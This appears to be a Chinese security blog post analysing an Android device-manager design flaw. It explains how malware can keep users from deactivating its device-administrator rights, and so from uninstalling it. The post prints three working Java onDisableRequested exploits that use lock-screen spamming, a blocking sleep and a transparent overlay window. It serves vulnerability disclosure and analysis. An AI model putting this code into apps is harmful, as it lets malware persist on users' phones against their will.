Android设备管理器漏洞2--禁止用户取消激活设备管理器
2013年6月,俄罗斯安全厂商卡巴斯基发现了史上最强手机木马-Obad.A。该木马利用了一个未知的Android设备管理器漏洞(ANDROID-9067882),已激活设备管理器权限的手机木马利用该漏洞,能够在设置程序的设备管理器列表中隐藏,这样用户就无法通过正常途径取消该手机木马的设备管理器权限。从而达到无法卸载的目的。Android4.2版本号以上系统已经修复该漏洞。(漏洞详情:http://blog.csdn.net/androidsecurity/article/details/9124747)
日前。百度安全实验室发现手机木马開始利用还有一新的Android设备管理器漏洞,新的设备管理器漏洞是由于Android系统在取消激活设备管理器流程的设计缺陷引起的。恶意软件利用该设计缺陷。能够阻止用户取消激活设备管理器,进而达到反卸载的目的。
该漏洞存在于Android系统全部版本号。
一、取消激活设备管理器源码分析
Android取消激活设备管理器流程源码:
Android取消激活设备管理器基本流程图:
1、ActivityManagerNative.getDefault().stopAppSwitch()方法功能
为什么第一步就调用该函数呢?通过源码凝视能够看出调用该函数目的是:禁止其他程序在用户取消设备管理器操作过程弹出Dialog,影响用户操作。
stopAppSwitch()源码例如以下图所看到的:
通过代码我们发现该方法的详细实现是:
规定在APP_SWITCH_DELAY_TIME时间内禁止进行Activity切换。
该方法调用后,全部应用的Activity调用请求会被系统放到挂起的请求队列中。
被挂起的Activity调用请求会在APP_SWITCH_DELAY_TIME时间后才会被系统运行。
通过调用stopAppSwitch()方法,系统保证在进入取消设备管理器界面后,5秒内不会进行Activity的切换。
二、漏洞原理分析
通过以上流程我们发现。在第8步设备管理器调用
DevicePolicyManagerService.removeActiveAdmin()取消激活设备管理器之前,DevicePolicyManagerService会调用应用的onDisableRequested方法获取取消激活的警示信息。
假设onDisableRequested函数返回内容为空的,第8步就会自己主动运行;假设onDisableRequested函数返回内容不能为空。会弹出Dialog显示返回的警示信息。提示用户是否取消激活。用户点击确认后才会运行第8步。
怎样阻止流程运行到第8步呢?
onDisableRequested是唯一在流程第8步之前被调用的函数。为了阻止流程走到第8步,onDisableRequested函数满足下面条件就可以:
1、返回内容不能为空。这样才干够使设备管理器弹出取消激活设备管理器警示信息 Dialog。
2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。
假设做到以上两点,程序就可以成功阻止用户取消激活设备管理器操作。
三、漏洞利用方法
下面提出三种能够利用该流程设计缺陷,成功阻止用户取消设备管理器的方法。
1、通过锁屏方式
- @Override
- public CharSequence onDisableRequested(Context context, Intent intent) {
- // TODO Auto-generated method stub
- Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
- intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- context.startActivity(intent1);
- final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
- dpm.lockNow();
- new Thread(new Runnable() {
- @Override
- public void run() {
- int i = 0;
- while(i<70){
- dpm.lockNow();
- try {
- Thread.sleep(100);
- i++;
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- }
- }).start();
- return "This is a onDisableRequested response message";
- }
2、通过堵塞函数返回方式
- @Override
- public CharSequence onDisableRequested(Context context, Intent intent) {
- // TODO Auto-generated method stub
- Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
- intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- context.startActivity(intent1);
- try {
- Thread.sleep(7000);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- return "This is a onDisableRequested response message";
- }
3、通过透明窗体劫持方式
- @Override
- public CharSequence onDisableRequested(Context context, Intent intent) {
- // TODO Auto-generated method stub
- Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
- intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- context.startActivity(intent1);
- WindowManager.LayoutParams wmParams;
- final WindowManager mWindowManager;
- wmParams = new WindowManager.LayoutParams();
- mWindowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
- wmParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
- wmParams.format = PixelFormat.RGBX_8888;
- wmParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
- wmParams.gravity = Gravity.LEFT | Gravity.TOP;
- wmParams.alpha = 0;
- wmParams.x = 0;
- wmParams.y = 0;
- wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;
- wmParams.height = WindowManager.LayoutParams.MATCH_PARENT;
- final View contentView = new Button(context);
- mWindowManager.addView(contentView, wmParams);
- new Thread(new Runnable() {
- @Override
- public void run() {
- try {
- Thread.sleep(7000);
- } catch (InterruptedException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- mWindowManager.removeView(contentView);
- }
- }).start();
- return "This is a onDisableRequested response message";
- }
以上方法都会在onDisableRequested中,採用不同模式使用户能够5无法操作秒内接口。因为5秒Activity系统切换请求将被执行。
版权声明:本文博客原创文章,博客,未经同意,不得转载。
Android设备管理器漏洞2--禁止用户取消激活设备管理器的更多相关文章
- Android 设备管理器 阻止用户取消激活
该方案测试可行,系统版本4.4.2.它算是借助android系统的一个bug,不确定在后续更高的版本中是否修复. 该功能和360防卸载功能一样的实现原理. 主要的参考资料是:http://bbs.pe ...
- Android设备管理器漏洞(转)
一.漏洞描述 目前被称为“史上最强Android木马”的病毒Backdoor.AndroidOS.Obad.a利用Android设备管理器漏洞使用户无法通过正常方式卸载.其实该漏洞早在去年底已被发现. ...
- 安全错误使用CORS在IE10与Node和Express及XMLHttpRequest: 网络错误 0x4c7, 操作已被用户取消
在IE下:VUE项目,后台替换为https请求之后,vue热更新请求挂起,控制台报错:XMLHttpRequest: 网络错误 0x4c7, 操作已被用户取消.但是chrome与Firefox正常 当 ...
- android提权漏洞CVE-2010-EASY修复【转】
本文转载自: http://blog.csdn.net/lhj0711010212/article/details/9351131 android提权漏洞CVE-2010-EASY修复 linux ...
- Android新的漏洞的应用程序中的发现!
最近,趋势科技发现一些Android中的漏洞应用程序内存.来发动攻击.我们调查了两个受影响的应用程序,大家来感受一下: .超过一千万次安装.及在下载页面拥有数十万笔用户留言的生产力应用程序(生产力应用 ...
- Linux—禁止用户SSH登录方法总结
Linux-禁止用户SSH登录方法总结 一.禁止用户登录 1.修改用户配置文件/etc/shadow 将第二栏设置为"*",如下.那么该用户就无法登录.但是使用这种方式 ...
- ASP.net 实现禁止用户重复登录
本文先为大家介绍如何利用缓存Cache方便地实现此功能. Cache与Session这二个状态对像的其中有一个不同之处,Cache是一个全局对象,作用的范围是整个应用程序,所有用户:而Session是 ...
- linux gcc++漏洞:普通用户获得root权限
linux gcc++漏洞:普通用户获得root权限 2012-02-06 10:22:38| 分类: linux安全|举报|字号 订阅 经我测试在RHEL5 / CentOS5 / F ...
- [iOS微博项目 - 2.3] - 用户取消对app的授权
github: https://github.com/hellovoidworld/HVWWeibo A.用户取消对app的授权 用户可以在微博网站上取消对某个应用(app)的授权 1.打开& ...
随机推荐
- Hauntbox:用于控制你的自己主动化、电子创意家居的开源硬件盒子
Hauntbox 是一个开源硬件控制器,能够满足用随意传感器和控制器建立复杂的.自己主动化的萦绕在心头的电子项目. 它不须要焊接或者预先学什么知识.是全然可控制.并与Arduino插板兼容. 无需编程 ...
- 管理集群中的 crs 管理员
管理集群中的 crs 管理员 oracle Managing CRS Administrators in the Cluster Use the following commands to ma ...
- 解决Xcode 7编译错误:does not contain bitcode
连接地址:http://jingyan.baidu.com/article/8065f87f96cf462331249801.html 好不容易更新到Xcode 7.0.1,重新编译代码,报错: do ...
- 动手学Javascript(1)——PopStar
PopStar是一款很流行的手机游戏.它的基本规则是在某个方块上单击,如果该方块周围有和它颜色一样的方块,那么这些方块都被选中.之后在选中方块的某一个上再次单击,所有选中的方块就会消失. 如下图所示, ...
- Effective C++_笔记_条款00_基本术语
(整理自Effctive C++,转载请注明.整理者:华科小涛@http://www.cnblogs.com/hust-ghtao/) 下面是每一位C++程序员都应该了解的C++词汇. 1 C++中 ...
- 在WEB工程的web层中的编程技巧
本篇以看传智播客方立勋老师的<JDBC入门>之<实现客户关系管理案例>视频有感,从中提取方老师在设计管理系统的简单案例中对自己比较有用的部分,以便日后在开发过程中希望能有所帮助 ...
- DRP分销系统总结
上个月看完的分销系统的视频,用了漫长的时间看这个项目视频,能安慰自己的是不光是看视频了,还做了很多自己想做的事情,比如驾照拿下来了,比如参加了一些考试,比如讲了一些课程等等.把这个系统的总结总算是补上 ...
- hdu 4704 同余定理+普通快速幂
此题往后推几步就可找到规律,从1开始,答案分别是1,2,4,8,16.... 这样就可以知道,题目的目的是求2^n%Mod的结果.....此时想,应该会想到快速幂...然后接着会发现,由于n的值过大, ...
- Spring2.5学习3.3_@Autowire注解实现手动装配
@Autowired默认按类型装配,假设我在personDao 字段上加了@Autowired注解,那么就会默认取personDao 字段的类型在Spring容器中寻找与这个类型匹配的bean,寻找到 ...
- 使用wireshark常用的过滤命令
使用wireshark常用的过滤命令 方法/步骤 过滤源ip.目的ip.在wireshark的过滤规则框Filter中输入过滤条件.如查找目的地址为192.168.101.8的包,ip.dst==19 ...